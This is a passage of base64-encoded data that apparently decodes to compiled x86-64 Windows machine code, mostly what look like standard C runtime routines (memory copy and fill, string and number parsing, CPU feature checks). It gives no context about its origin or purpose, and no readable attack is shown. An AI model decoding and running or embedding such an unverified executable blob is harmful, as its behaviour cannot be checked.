CDo5icAAMzMSIPsSEiJTCRQSI1UJFBIjUwkIOiIOAAASI0F+YsBAEiNFWJmAgBIjUwkIEiJRCQg6K8nAADMzMxIg+xISIlMJFBIjVQkUEiNTCQg6FA4AABIjQXZiwEASI0VkmYCAEiNTCQgSIlEJCDodycAAMzMzEiDPYiQAQAASI0FeZABAHQPOQh0DkiDwBBIg3gIAHXxM8DDSItACMNIgz2wiwEAAEiNBaGLAQB0DzkIdA5Ig8AQSIN4CAB18TPAw0iLQAjDQFNIg+xASIvZ6w9Ii8vobTkAAIXAdBNIi8vooQUAAEiFwHTnSIPEQFvDSI0F94oBAEiNVCRYSI1MJCBBuAEAAABIiUQkWOjFNwAASI0FxooBAEiNFb9kAgBIjUwkIEiJRCQg6LwmAADMzMzM6Q8FAADMzMxIiVwkCFdIg+wQQIo6SIvaTIvBQIT/dQhIi8HpsgEAAIM9na0CAAJBuv8PAABFjVrxD43QAAAAQA+2xw9X0ovIweEIC8hmD27B8g9wyABmD3DZAEmLwEkjwkk7w3cp80EPbwBmD2/IZg90w2YPdMpmD+vIZg/XwYXAdQZJg8AQ69IPvMBMA8BBgDgAD4Q/AQAAQTo4dWlJi9BMi8tJi8FJI8JJO8N3QUiLwkkjwkk7w3c280EPbwnzD28CZg90wWYPdMpmD3TCZg/rwWYP18CFwHUKSIPCEEmDwRDrvw+8wIvISAPRTAPJQYoBhMAPhNgAAAA4AnUISP/CSf/B651J/8DpTP///0iLwkkjwkk7w3cG8w9vAusrSIvKD1fAQbkQAAAAQIrXZg9z2AEPvsJmDzogwA+E0nQFSP/BihFJ/8l15EmLwEkjwkk7w3da80EPbwhmDzpjwQx2BkmDwBDr4nNtZg86Y8EMSGPBTAPASYvQTIvLSIvCSSPCSTvDdzhJi8FJI8JJO8N3LfMPbwrzQQ9vEWYPOmPRDHEXeC1Ig8IQSYPBEOvNQYA4AHQiQTg4dLxJ/8Dri0GKAYTAdAw4AnXwSP/CSf/B66pJi8DrAjPASItcJCBIg8QQX8PMzMxAU0iD7CBIi9nGQRgASIXSD4WCAAAA6NFHAABIiUMQSIuQwAAAAEiJE0iLiLgAAABIiUsISDsVObUCAHQWi4DIAAAAhQWjtgIAdQjooDsAAEiJA0iLBTqyAgBIOUMIdBtIi0MQi4jIAAAAhQ18tgIAdQnocT8AAEiJQwhIi0sQi4HIAAAAqAJ1FoPIAomByAAAAMZDGAHrBw8QAvMPfwFIi8NIg8QgW8NIi8RIiVgISIloGEiJcCBXQVRBVUFWQVdIg+xATIviSIvRSI1IuEWL8U2L+Ogn////TYX/dANNiSdNheR0DkWF9nQgQY1G/oP4InYX6J8wAADHABYAAADoyDcAADP/6bYBAABBijQkTItEJCAz/0mNXCQBQYO41AAAAAF+GkyNRCQgQA+2zroIAAAA6GBEAABMi0QkIOsSSYuACAEAAEAPts4PtwRIg+AIhcB0CECKM0j/w+u+i6wkkAAAAECA/i11BYPNAusGQID+K3UGQIozSP/DRYX2dSRAgP4wdAhBvgoAAADrMooDLFio33QIQb4IAAAA6yJBvhAAAABBg/4QdRZAgP4wdRCKAyxYqN91CECKcwFIg8MCTYuoCAEAAE1j1jPSSIPI/0n38kyL2kyLyEAPts5FD7dETQBBi8iD4QR0CUAPvtaD6jDrGkGB4AMBAAB0L41Gn0APvtY8GXcDg+ogg8LJQTvWcxmDzQhJO/lyJXUHi8JJO8N2HIPNBE2F/3UgSP/LQPbFCHUfTYX/SQ9F3DP/63BJi8pID6/Pi/pIA/lAijNI/8PrhUi+/////////39A9sUEdSVA9sUBdUaLxYPgAnQPSLkAAAAAAAAAgEg7+XcJhcB1LEg7/nYn6AovAADHACIAAABA9sUBdAZIg8//6xBAisUkAvbYSBv/SPffSAP+TYX/dANJiR9A9sUCdANI99+AfCQ4AHQMSItMJDCDocgAAAD9TI1cJEBIi8dJi1swSYtrQEmLc0hJi+NBX0FeQV1BXF/DzMzMSIPsOIM9Rc8CAABFi8hMi8JIi9HHRCQgAQAAAHUJSI0Nv7MCAOsCM8nogv3//0iDxDjDzEiFyXQ3U0iD7CBMi8FIiw0MzwIAM9L/FeQoAQCFwHUX6EcuAABIi9j/FWIpAQCLyOhXLgAAiQNIg8QgW8PMzMxIiVwkCEiJdCQQV0iD7CBIi9lIg/ngd3y/AQAAAEiFyUgPRflIiw21zgIASIXJdSDob0gAALkeAAAA6NlIAAC5/wAAAOgPEgAASIsNkM4CAEyLxzPS/xVdKAEASIvwSIXAdSw5BbfUAgB0DkiLy+hNMwAAhcB0Deur6K4tAADHAAwAAADooy0AAMcADAAAAEiLxusS6CczAADoji0AAMcADAAAADPASItcJDBIi3QkOEiDxCBfw8zMTIlEJBhMiUwkIFVTVldIi+xIg+xYSINlyABIi9oz0kmL8EiL+USNQihIjU3Q6G4OAABIhfZ1Feg4LQAAxwAWAAAA6GE0AACDyP/rXEiF23QFSIX/dOG4////f0yNTUBIjU3ISDvYSIvWx0XgQgAAAA9H2EUzwEiJfdiJXdBIiX3I6NZLAACL2EiF/3Qb/03QeAlIi0XIxgAA6wtIjVXIM8noKkoAAIvDSIPEWF9eW13DzMzMSIvESIlYCEiJaBBIiXAYV0FUQVVBVkFXSIPsQE2LYQhNizlJi1k4TSv89kEEZk2L8UyL6kiL6Q+F3gAAAEGLcUhIiUjITIlA0DszD4NtAQAAi/5IA/+LRPsETDv4D4KqAAAAi0T7CEw7+A+DnQAAAIN8+xAAD4SSAAAAg3z7DAF0F4tE+wxIjUwkMEmL1UkDxP/QhcB4fX50gX0AY3Nt4HUoSIM9wqgBAAB0HkiNDbmoAQDoBFcAAIXAdA66AQAAAEiLzf8VoqgBAItM+xBBuAEAAABJi9VJA8zoTVYAAEmLRkCLVPsQRItNAEiJRCQoSYtGKEkD1EyLxUmLzUiJRCQg/xU8JgEA6E9WAAD/xuk1////M8DpqAAAAEmLcSBBi3lISSv06YkAAACLz0gDyYtEywRMO/hyeYtEywhMO/hzcPZFBCB0REUzyYXSdDhFi8FNA8BCi0TDBEg78HIgQotEwwhIO/BzFotEyxBCOUTDEHULi0TLDEI5RMMMdAhB/8FEO8pyyEQ7ynUyi0TLEIXAdAdIO/B0JesXjUcBSYvVQYlGSESLRMsMsQFNA8RB/9D/x4sTO/oPgm3///+4AQAAAEyNXCRASYtbMEmLazhJi3NASYvjQV9BXkFdQVxfw8zMzEiJXCQQSIlsJBhWV0FUQVZBV0iD7CBBi3gMTIvhSYvISYvxTYvwTIv66MpqAABNixQkTIkWi+iF/3R0SWNGEP/PSI0Uv0iNHJBJA18IO2sEfuU7awh/4EmLD0iNVCRQRTPA/xXoJAEATGNDEESLSwxMA0QkUESLEDPJRYXJdBdJjVAMSGMCSTvCdAv/wUiDwhRBO8ly7UE7yXOcSYsEJEiNDIlJY0yIEEiLDAFIiQ5Ii1wkWEiLbCRgSIvGSIPEIEFfQV5BXF9ew8zMzEiLxEiJWAhIiWgQSIlwGEiJeCBBVEFWQVdIg+wgi3oMSItsJHBIi9pIi8tIi9VFi+Ez9uj0aQAARIvwhf91Beh8agAATItUJGhMi0QkYIvXQYMK/0GDCP+F/3QqTItdCExjexBEjUr/S40MiUmNBItGO3Q4BH4HRjt0OAh+CEGL0UWFyXXehdJ0E41C/0iNFIBIY0MQSI00kEgDdQgz0oX/dGBFM8lIY0sQSQPJSANNCEiF9nQPi0YEOQF+IotGCDlBBH8aRDshfBVEO2EEfw9Bgzj/dQNBiRCNQgFBiQL/wkmDwRQ713K9QYsAg/j/dBJIjQyASGNDEEiNBIhIA0UI6wpBgyAAQYMiADPASItcJEBIi2wkSEiLdCRQSIt8JFhIg8QgQV9BXkFcw0iJXCQISIlsJBBWV0FWSIPsIEyNTCRQSYv4SIvq6Ob9//9Ii9VIi89Mi/Do0GgAAItfDIvw6yf/y+j6PgAASI0Um0iLgCgBAABIjQyQSGNHEEgDyDtxBH4FO3EIfgaF23XVM8lIhcl1BkGDyf/rBESLSQRMi8dIi9VJi87o+2IAAEiLXCRASItsJEhIg8QgQV5fXsNIiVwkCEiJbCQQSIl0JBhXSIPsQEmL8UmL6EiL2kiL+eh/PgAASImYOAEAAEiLH+hwPgAASItTOEiLTCR4TItMJHDHRCQ4AQAAAEiJkDABAAAz20iJXCQwiVwkKEiJTCQgSIsPTIvGSIvV6A1kAADoMD4AAEiLjCSAAAAASItsJFhIi3QkYEiJmDgBAACNQwFIi1wkUMcBAQAAAEiDxEBfw8zMzEiLxEyJSCBMiUAYSIlQEEiJSAhTSIPsYEiL2YNg2ABIiUjgTIlA6OjUPQAATIuA4AAAAEiNVCRIiwtB/9DHRCRAAAAAAOsAi0QkQEiDxGBbw8zMzEBTSIPsIEiL2UiJEeibPQAASDuYIAEAAHMO6I09AABIi4ggAQAA6wIzyUiJSwjoeT0AAEiJmCABAABIi8NIg8QgW8PMSIlcJAhXSIPsIEiL+ehWPQAASDu4IAEAAHQF6KRnAADoQz0AAEiLmCABAADrCUg7+3QZSItbCEiF23Xy6INnAABIi1wkMEiDxCBfw+gXPQAASItLCEiJiCABAADr48zMSIPsKOj/PAAASIuAKAEAAEiDxCjDzMzMSIPsKOjnPAAASIuAMAEAAEiDxCjDzMzMQFNIg+wgSIvZ6Mo8AABIi5AgAQAA6wlIORp0EkiLUghIhdJ18o1CAUiDxCBbwzPA6/bMzEBTSIPsIEiL2eiWPAAASImYKAEAAEiDxCBbw8xAU0iD7CBIi9noejwAAEiJmDABAABIg8QgW8PMQFVIjawkUPv//0iB7LAFAABIiwV8qwIASDPESImFoAQAAEyLlfgEAABIjQWEkAEATIvZSI1MJDAPEAAPEEgQDxEBDxBAIA8RSRAPEEgwDxFBIA8QQEAPEUkwDxBIUA8RQUAPEEBgDxFJUA8QiIAAAAAPEUFgDxBAcEiLgJAAAAAPEUFwDxGJgAAAAEiJgZAAAABJiwtIjQW8XQAASIlEJFBIi4XgBAAASIlVgEmLEkiJRCRgSGOF6AQAAEiJRCRoSIuF8AQAAEyJRCRwSIlEJHgPtoUABQAATIlMJFhIiUWISYtCQEyNRCQwSIlEJChIjUXQRTPJSIlEJCBIx0WQIAWTGf8Vkx8BAEiLjaAEAABIM8zorGYAAEiBxLAFAABdw8zMzEiJXCQQSIl0JBhXSIPsQEmL2UmL+EiL8UiJVCRQ6CY7AABIi1MISImQKAEAAOgWOwAASItWOEiJkDABAADoBjsAAEiLUzhEiwJIjVQkUEyLy0wDgCgBAAAzwEiLzolEJDhIiUQkMIlEJChMiUQkIEyLx+ipYAAASItcJFhIi3QkYEiDxEBfw8zMzMzMzMzMzMzMzMzMzGZmDx+EAAAAAABMi9lMi9JJg/gQD4a5AAAASCvRcw9Ji8JJA8BIO8gPjJYDAAAPuiVoxAIAAXMTV1ZIi/lJi/JJi8jzpF5fSYvDww+6JUvEAgACD4JWAgAA9sEHdDb2wQF0C4oECkn/yIgBSP/B9sECdA9miwQKSYPoAmaJAUiDwQL2wQR0DYsECkmD6ASJAUiDwQRNi8hJwekFD4XZAQAATYvIScHpA3QUSIsECkiJAUiDwQhJ/8l18EmD4AdNhcB1B0mLw8MPHwBIjRQKTIvR6wNNi9NMjQ3NKv3/Q4uEgUDVAgBJA8H/4ITVAgCI1QIAk9UCAJ/VAgC01QIAvdUCAM/VAgDi1QIA/tUCAAjWAgAb1gIAL9YCAEzWAgBd1gIAd9YCAJLWAgC21gIASYvDw0gPtgJBiAJJi8PDSA+3AmZBiQJJi8PDSA+2AkgPt0oBQYgCZkGJSgFJi8PDiwJBiQJJi8PDSA+2AotKAUGIAkGJSgFJi8PDSA+3AotKAmZBiQJBiUoCSYvDw0gPtgJID7dKAYtSA0GIAmZBiUoBQYlSA0mLw8NIiwJJiQJJi8PDSA+2AkiLSgFBiAJJiUoBSYvDw0gPtwJIi0oCZkGJAkmJSgJJi8PDSA+2AkgPt0oBSItSA0GIAmZBiUoBSYlSA0mLw8OLAkiLSgRBiQJJiUoESYvDw0gPtgKLSgFIi1IFQYgCQYlKAUmJUgVJi8PDSA+3AotKAkiLUgZmQYkCQYlKAkmJUgZJi8PDTA+2AkgPt0IBi0oDSItSB0WIAmZBiUIBQYlKA0mJUgdJi8PD8w9vAvNBD38CSYvDw2ZmZmZmDx+EAAAAAABIiwQKTItUCghIg8EgSIlB4EyJUehIi0QK8EyLVAr4Sf/JSIlB8EyJUfh11EmD4B/p8v3//0mD+CAPhuEAAAD2wQ91Dg8QBApIg8EQSYPoEOsdDxAMCkiDwSCA4fAPEEQK8EEPEQtIi8FJK8NMK8BNi8hJwekHdGYPKUHw6wpmkA8pQeAPKUnwDxAECg8QTAoQSIHBgAAAAA8pQYAPKUmQDxBECqAPEEwKsEn/yQ8pQaAPKUmwDxBECsAPEEwK0A8pQcAPKUnQDxBECuAPEEwK8HWtDylB4EmD4H8PKMFNi8hJwekEdBpmDx+EAAAAAAAPKUHwDxAECkiDwRBJ/8l170mD4A90DUmNBAgPEEwC8A8RSPAPKUHwSYvDww8fQABBDxACSY1MCPAPEAwKQQ8RAw8RCUmLw8MPH4QAAAAAAGZmZpBmZmaQZpAPuiXSwAIAAg+CuQAAAEkDyPbBB3Q29sEBdAtI/8mKBApJ/8iIAfbBAnQPSIPpAmaLBApJg+gCZokB9sEEdA1Ig+kEiwQKSYPoBIkBTYvIScHpBXVBTYvIScHpA3QUSIPpCEiLBApJ/8lIiQF18EmD4AdNhcB1D0mLw8NmZmYPH4QAAAAAAEkryEyL0UiNFArpffz//5BIi0QK+EyLVArwSIPpIEiJQRhMiVEQSItECghMixQKSf/JSIlBCEyJEXXVSYPgH+uOSYP4IA+GBf///0kDyPbBD3UOSIPpEA8QBApJg+gQ6xtIg+kQDxAMCkiLwYDh8A8QBAoPEQhMi8FNK8NNi8hJwekHdGgPKQHrDWYPH0QAAA8pQRAPKQkPEEQK8A8QTArgSIHpgAAAAA8pQXAPKUlgDxBEClAPEEwKQEn/yQ8pQVAPKUlADxBECjAPEEwKIA8pQTAPKUkgDxBEChAPEAwKda4PKUEQSYPgfw8owU2LyEnB6QR0GmZmDx+EAAAAAAAPKQFIg+kQDxAECkn/yXXwSYPgD3QIQQ8QCkEPEQsPKQFJi8PDzMzMzMzMzMzMzMzMzMzMzMxmZg8fhAAAAAAATIvZD7bSSYP4EA+CXAEAAA+6Jfy+AgABcw5XSIv5i8JJi8jzql/rbUm5AQEBAQEBAQFJD6/RD7ol1r4CAAIPgpwAAABJg/hAch5I99mD4Qd0BkwrwUmJE0kDy02LyEmD4D9JwekGdT9Ni8hJg+AHScHpA3QRZmZmkJBIiRFIg8EISf/JdfRNhcB0CogRSP/BSf/IdfZJi8PDDx+AAAAAAGZmZpBmZpBIiRFIiVEISIlREEiDwUBIiVHYSIlR4En/yUiJUehIiVHwSIlR+HXY65dmZmZmZmZmDx+EAAAAAABmSA9uwmYPYMD2wQ90Fg8RAUiLwUiD4A9Ig8EQSCvITo1EAPBNi8hJwekHdDLrAZAPKQEPKUEQSIHBgAAAAA8pQaAPKUGwSf/JDylBwA8pQdAPKUHgDylB8HXVSYPgf02LyEnB6QR0FA8fhAAAAAAADykBSIPBEEn/yXX0SYPgD3QGQQ8RRAjwSYvDw0m5AQEBAQEBAQFJD6/RTI0NnyT9/0OLhIF12wIATAPISQPISYvDQf/hztsCAMvbAgDc2wIAx9sCAPDbAgDl2wIA2dsCAMTbAgAF3AIA/dsCAPTbAgDP2wIA7NsCAOHbAgDV2wIAwNsCAGZmZg8fhAAAAAAASIlR8YlR+WaJUf2IUf/DSIlR9evySIlR8olR+maJUf7DSIlR84lR+4hR/8NIiVH0iVH8w0iJUfZmiVH+w0iJUfeIUf/DSIlR+MPMzOkDAAAAzMzMSI0FGWkAAEiNDV5eAABIiQUfogIASI0FpGkAAEiJDQmiAgBIiQUSogIASI0F12kAAEiJDRyiAgBIiQUFogIASI0FSmoAAEiJBf+hAgBIjQU8XgAASIkFAaICAEiNBWZpAABIiQX7oQIASI0FuGgAAEiJBfWhAgBIjQWSaQAASIkF76ECAMPMzEBTSIPsIIvZTI1EJDhIjRVAhwEAM8n/FVAWAQCFwHQbSItMJDhIjRVAhwEA/xUaFwEASIXAdASLy//QSIPEIFvDzMzMQFNIg+wgi9nor////4vL/xUbFgEAzMzMSIlcJAhXSIPsIEiLDcffAgD/FQkWAQBIix2iuwIASIv4SIXbdBpIiwtIhcl0C+gd7f//SIPDCHXtSIsdgLsCAEiLy+gI7f//SIsdabsCAEiDJWm7AgAASIXbdBpIiwtIhcl0C+jn7P//SIPDCHXtSIsdQrsCAEiLy+jS7P//SIsNK7sCAEiDJSu7AgAA6L7s//9Iiw0PuwIA6LLs//9IgyUKuwIAAEiDJfq6AgAASIPL/0g7+3QSSIM9Gd8CAAB0CEiLz+iH7P//SIvL/xVWFQEASIsNX8QCAEiJBfjeAgBIhcl0Dehm7P//SIMlRsQCAABIiw1HxAIASIXJdA3oTez//0iDJTXEAgAASIsFppsCAIvL8A/BCAPLdR9Iiw2VmwIASI0dbpgCAEg7y3QM6Bzs//9IiR19mwIASItcJDBIg8QgX8PMzEBTSIPsIIvZ6N80AACLy+hMNQAARTPAuf8AAABBjVAB6LcBAADMzMwz0jPJRI1CAemnAQAAzMzMQFNIg+wgSIM9YoUBAACL2XQYSI0NV4UBAOgaRQAAhcB0CIvL/xVGhQEA6BFoAABIjRVaGQEASI0NKxkBAOgOAQAAhcB1SkiNDWdoAADoWgoAAEiNFQcZAQBIjQ3oFwEA6IsAAABIgz3b3QIAAHQfSI0N0t0CAOi9RAAAhcB0D0UzwDPJQY1QAv8Vut0CADPASIPEIFvDzMxFM8BBjVAB6QABAABAU0iD7CAzyf8V9hMBAEiLyEiL2OhHHwAASIvL6DsgAABIi8voO3IAAEiLy+hLcgAASIvL6E9aAABIi8voj3QAAEiDxCBb6dFrAADMSIlcJAhIiWwkEEiJdCQYV0iD7CAz7UiL2kiL+Ugr2Yv1SIPDB0jB6wNIO8pID0fdSIXbdBZIiwdIhcB0Av/QSP/GSIPHCEg783LqSItcJDBIi2wkOEiLdCRASIPEIF/DSIlcJAhXSIPsIDPASIv6SIvZSDvKcxeFwHUTSIsLSIXJdAL/0UiDwwhIO99y6UiLXCQwSIPEIF/DzMzMuQgAAADpVmcAAMzMuQgAAADpOmkAAMzMSIlcJAhIiXQkEESJRCQYV0FUQVVBVkFXSIPsQEWL8IvaRIvpuQgAAADoGmcAAJCDPUa4AgABD4QHAQAAxwV2uAIAAQAAAESINWu4AgCF2w+F2gAAAEiLDVjcAgD/FZoSAQBIi/BIiUQkMEiFwA+EqQAAAEiLDTLcAgD/FXwSAQBIi/hIiUQkIEyL5kiJdCQoTIv4SIlEJDhIg+8ISIl8JCBIO/5ydjPJ/xVWEgEASDkHdQLr40g7/nJiSIsP/xU5EgEASIvYM8n/FTYSAQBIiQf/00iLDdrbAgD/FRwSAQBIi9hIiw3C2wIA/xUMEgEATDvjdQVMO/h0uUyL40iJXCQoSIvzSIlcJDBMi/hIiUQkOEiL+EiJRCQg65dIjRXxFgEASI0NyhYBAOgd/v//SI0V7hYBAEiNDd8WAQDoCv7//5BFhfZ0D7kIAAAA6OZnAABFhfZ1JscFG7cCAAEAAAC5CAAAAOjNZwAAQYvN6A37//9Bi83/FXgRAQDMSItcJHBIi3QkeEiDxEBBX0FeQV1BXF/DzMzMRTPAM9LpXv7//8zMSIPsKOg/LQAAaUgc/UMDAIHBw54mAIlIHMHpEIHh/38AAIvBSIPEKMPMzMxAU0iD7CCL2egPLQAAiVgcSIPEIFvDzMxIiVwkCFdIg+wgiwWkygIAM9u/FAAAAIXAdQe4AAIAAOsFO8cPTMdIY8i6CAAAAIkFf8oCAOg+bQAASIkFa8oCAEiFwHUkjVAISIvPiT1iygIA6CFtAABIiQVOygIASIXAdQe4GgAAAOsjSI0Ny4wCAEiJDANIg8EwSI1bCEj/z3QJSIsFI8oCAOvmM8BIi1wkMEiDxCBfw0iD7Cjo1woAAIA9KLYCAAB0BehJcgAASIsN9skCAOiJ5///SIMl6ckCAABIg8Qow0iNBW2MAgDDQFNIg+wgSIvZSI0NXIwCAEg72XJASI0F4I8CAEg72Hc0SIvTSLirqqqqqqqqKkgr0Uj36kjB+gNIi8pIwek/SAPKg8EQ6EZkAAAPumsYD0iDxCBbw0iNSzBIg8QgW0j/JfcOAQDMzMxAU0iD7CBIi9qD+RR9E4PBEOgSZAAAD7prGA9Ig8QgW8NIjUowSIPEIFtI/yXDDgEAzMzMSI0VyYsCAEg7ynI3SI0FTY8CAEg7yHcrD7pxGA9IK8pIuKuqqqqqqqoqSPfpSMH6A0iLykjB6T9IA8qDwRDpoWUAAEiDwTBI/yVCDQEAzMyD+RR9DQ+6chgPg8EQ6YJlAABIjUowSP8lIw0BAMzMzEiLxEiJUBBIiUgITIlAGEyJSCBTVldBVkiD7ChIi/Ez/zPASIXJD5XAhcB1GOiiFAAAxwAWAAAA6MsbAACDyP/p2QAAADPASIXSD5XAhcB03EyNdCRg6Jn+//+Q9kYYQA+FgAAAAEiLzuhWcQAATGPAQY1IAkyNDeS9AgCD+QF2HkmL0EmLyEjB+QWD4h9Ia8JYSQMEyUiNDWOcAgDrCkiNDVqcAgBIi8H2QDh/dSRBjUACg/gBdhVJi8hJi8BIwfgFg+EfSGvJWEkDDMH2QTiAdBPo/BMAAMcAFgAAAOglGwAAg8//hf91KkiLzuhabwAAi9hNi85FM8BIi1QkWEiLzui1MgAAi/hIi9aLy+gBbwAAkEiLzuh0/v//i8dIg8QoQV5fXlvD6Sfg///MzMxAU0iD7CBIi9lIjUwkMP8VzA0BAEiLVCQwSLkAgMEqIU5i/kgD0UiDyf9IuL1CeuXVlL/WSPfiSLj/b0CTBwAAAEjB6hdIO9BID0/RSIXbdANIiRNIi8JIg8QgW8PMzMxIg+woSIvCSI1REUiNSBHo3BAAAIXAD5TASIPEKMPMzEiJXCQIV0iD7CBIjQV/fgEAi9pIi/lIiQHownMAAPbDAXQISIvP6Hnf//9Ii8dIi1wkMEiDxCBfw8zMzMzMzMzMzMzMzMxmZg8fhAAAAAAASIPsEEyJFCRMiVwkCE0z20yNVCQYTCvQTQ9C02VMixwlEAAAAE0703MWZkGB4gDwTY2bAPD//0HGAwBNO9N18EyLFCRMi1wkCEiDxBDDzMxIiVwkCEiJbCQQSIl0JBhXSIPsEDPJM8Az/w+ixwWujAIAAgAAAMcFoIwCAAEAAABEi9uL2USLwoHzbnRlbESLykGL00GB8GluZUmB8kdlbnWL6EQLw41HAUQLwkEPlMJBgfNBdXRoQYHxZW50aUUL2YHxY0FNREQL2UAPlMYzyQ+iRIvZRIvIiVwkBIlUJAxFhNJ0T4vQgeLwP/8PgfrABgEAdCuB+mAGAgB0I4H6cAYCAHQbgcKw+fz/g/ogdyRIuQEAAQABAAAASA+j0XMURIsF7bECAEGDyAFEiQXisQIA6wdEiwXZsQIAQIT2dBtBgeEAD/APQYH5AA9gAHwLQYPIBESJBbmxAgC4BwAAADvofCIzyQ+ii/uJBCSJTCQIiVQkDA+64wlzC0GDyAJEiQWOsQIAQQ+64xRzUMcFiYsCAAIAAADHBYOLAgAGAAAAQQ+64xtzNUEPuuMccy7HBWeLAgADAAAAxwVhiwIADgAAAED2xyB0FMcFTYsCAAUAAADHBUeLAgAuAAAASItcJCBIi2wkKEiLdCQwM8BIg8QQX8NAU0iD7CC6CAAAAI1KGOiVZwAASIvISIvY/xUtCwEASIkF1tQCAEiJBcfUAgBIhdt1BY1DGOsGSIMjADPASIPEIFvDzEiJXCQISIl0JBBIiXwkGEFUQVZBV0iD7CBMi+Hoy/f//5BIiw2P1AIA/xXRCgEATIvwSIsNd9QCAP8VwQoBAEiL2Ek7xg+CmwAAAEiL+Ekr/kyNfwhJg/8ID4KHAAAASYvO6F1xAABIi/BJO8dzVboAEAAASDvCSA9C0EgD0Eg70HIRSYvO6NVnAAAz20iFwHUa6wIz20iNViBIO9ZySUmLzui5ZwAASIXAdDxIwf8DSI0c+EiLyP8VSwoBAEiJBfTTAgBJi8z/FTsKAQBIiQNIjUsI/xUuCgEASIkFz9MCAEmL3OsCM9voC/f//0iLw0iLXCRASIt0JEhIi3wkUEiDxCBBX0FeQVzDzMxIg+wo6Ov+//9I99gbwPfY/8hIg8Qow8xIiVwkCEiJbCQQSIl0JCBXQVZBV0iD7DAz20mL6UmL8ESL8kyL+U2FwHUV6EgPAADHABYAAADocRYAAOmSAAAAungEAAC5AQAAAOjxZQAASIv4SIXAdGjocCUAAEiLz0iLkMAAAADoCSYAAEiLTCR4SINPCP+LRCRwSIXJTI1EJGBMD0XBSYvWTIvPTIlEJChMjQUVAQAASYvPSIm3kAAAAEiJr5gAAACJRCQg/xX6CAEASIXAdR3/Fd8JAQCL2EiLz+hF4P//hdt0B4vL6FYOAAAzwEiLXCRQSItsJFhIi3QkaEiDxDBBX0FeX8PMzMxIg+wo6NMkAACQSIuImAAAAP+QkAAAAIvI6A4AAACQi8jovvT//5BIg8Qow0iJXCQIV0iD7CCL+ejDJAAASIvYSIXAdG6DuGgEAAAAdF2LFYSuAgCF0nVESI0NrXkBADPSQbgACAAA/xVHCAEASI0VsHkBAEiLyP8VPwkBAEiFwHQpSIvI/xVpCAEASIkFSq4CAMcFPK4CAAEAAABIiw05rgIA/xVDCAEA/9BIi8vo7SMAAIvP/xX5CAEAzEiJXCQISIl0JBBXSIPsIEiL8eiRIgAAi8jogl8AADPbSIv4SIXAdS/oeyIAAEiL1ovI6IVfAACFwHUP/xWvCAEAi8j/Fa8IAQDM/xU4CAEASIv+iQbrLEiLhpAAAABIi85IiYeQAAAASIuGmAAAAEiJh5gAAABIi0YISIlHCOgtIgAA6HxfAACJh2gEAACFwHRriwWArQIAvgEAAACFwHVASI0NqHgBADPSQbgACAAA/xVCBwEASI0Vg3gBAEiLyP8VOggBAEiFwHQsSIvI/xVkBwEASIkFNa0CAIk1N60CAEiLDSitAgD/FUIHAQCLzv/QhcAPlMOJn2gEAADoQv7//8zMSIlcJBBIiXwkGFVIi+xIg+xgDygFW3gBAA8oDWR4AQBIi9pIi/kPKUXADygFY3gBAA8pTdAPKA1oeAEADylF4A8pTfBIhdJ0FvYCEHQRSIsJSIPpCEiLAUiLWDD/UEBIjVUQSIvLSIl96EiJXfD/FXgGAQBIi9BIiUUQSIlF+EiF23Qb9gMIuQBAmQF0BYlN4OsMi0XgSIXSD0TBiUXgRItF2ItVxItNwEyNTeD/FTEGAQBMjVwkYEmLWxhJi3sgSYvjXcPMzMxAU0iD7CBIi9lIhcl1CkiDxCBb6bwAAADoLwAAAIXAdAWDyP/rIPdDGABAAAB0FUiLy+i5aAAAi8joBm8AAPfYG8DrAjPASIPEIFvDSIlcJAhIiXQkEFdIg+wgi0EYM/ZIi9kkAzwCdT/3QRgIAQAAdDaLOSt5EIX/fi3ocGgAAEiLUxBEi8eLyOiObwAAO8d1D4tDGITAeQ+D4P2JQxjrB4NLGCCDzv9Ii0sQg2MIAIvGSIt0JDhIiQtIi1wkMEiDxCBfw8zMzLkBAAAA6QIAAADMzEiJXCQISIl0JBBIiXwkGEFVQVZBV0iD7DBEi/Ez9jP/jU4B6LRZAACQM9tBg83/iVwkIDsd974CAH1+TGP7SIsF474CAEqLFPhIhdJ0ZPZCGIN0XovL6Fn1//+QSIsFxb4CAEqLDPj2QRiDdDNBg/4BdRLotP7//0E7xXQj/8aJdCQk6xtFhfZ1FvZBGAJ0EOiX/v//QTvFQQ9E/Yl8JChIixWBvgIASosU+ovL6Ib1////w+l2////uQEAAADoCVsAAEGD/gEPRP6Lx0iLXCRQSIt0JFhIi3wkYEiDxDBBX0FeQV3DzMxIiVQkEEyJRCQYTIlMJCBVU1dIi+xIg+xQSINl0ABIi/oz0kiL2UiNTdhEjUIo6D3r//9Ihf91FegHCgAAxwAWAAAA6DARAACDyP/rS0iF23TmTI1NMEiNTdBFM8BIi9fHRdj///9/x0XoQgAAAEiJXeBIiV3Q6LEoAAD/TdiL2HgJSItN0MYBAOsLSI1V0DPJ6AonAACLw0iDxFBfW13DSIlcJAhIiXQkEFdIg+wggz22zQIAAEiLHYOpAgBIi/F0bkiF23UeSDkdeqkCAHRg6K+BAACFwHVXSIsdYKkCAEiF23RLSIX2dEZIi87ongwAAEiL+EiLC0iFyXQz6I4MAABIO8d2GEiLC4A8OT11D0yLx0iL1uhdggAAhcB0BkiDwwjr0EiLA0j/wEgDx+sCM8BIi1wkMEiLdCQ4SIPEIF/DzMxAU0iD7CBIi9kzwEiFyQ+VwIXAdRTo5ggAAMcAFgAAAOgPEAAAM8DrPLr/fwAA6PWAAAAzyUg9/38AAA+SwYXJdNO5BwAAAOhkVwAAkEiLy+gH////SIvYuQcAAADoPlkAAEiLw0iDxCBbw8xMi9xJiVMQTYlDGE2JSyBIg+w4TIvCSY1DGEiL0UiNDWyDAABFM8lJiUPo6AgAAABIg8Q4w8zMzEiLxEiJWAhIiWgQSIlwGFdIg+xQSINgyABIi9oz0kmL+EiL6USNQihIjUjQSYvx6FTp//9Ihdt1FegeCAAAxwAWAAAA6EcPAACDyP/rQ0iF/3TmSIvL6E0LAABMi4wkgAAAALn///9/SDvBTIvGSIvXD0fBSI1MJCDHRCQ4SQAAAEiJXCQwSIlcJCCJRCQo/9VIi1wkYEiLbCRoSIt0JHBIg8RQX8PMzEiLDSmNAgAzwEiDyQFIOQ38pwIAD5TAw0BTSIPsIINkJEAATI1EJEDoa5IAAEiL2EiFwHUbOUQkQHQV6HQHAABIhcB0C+hqBwAAi0wkQIkISIvDSIPEIFvDzMzMSIl8JBBMiXQkIFVIi+xIg+xwSGP5SI1N4Oii1f//gf8AAQAAc11Ii1Xgg7rUAAAAAX4WTI1F4LoBAAAAi8/oFRsAAEiLVeDrDkiLgggBAAAPtwR4g+ABhcB0EEiLghABAAAPtgQ46cQAAACAffgAdAtIi0Xwg6DIAAAA/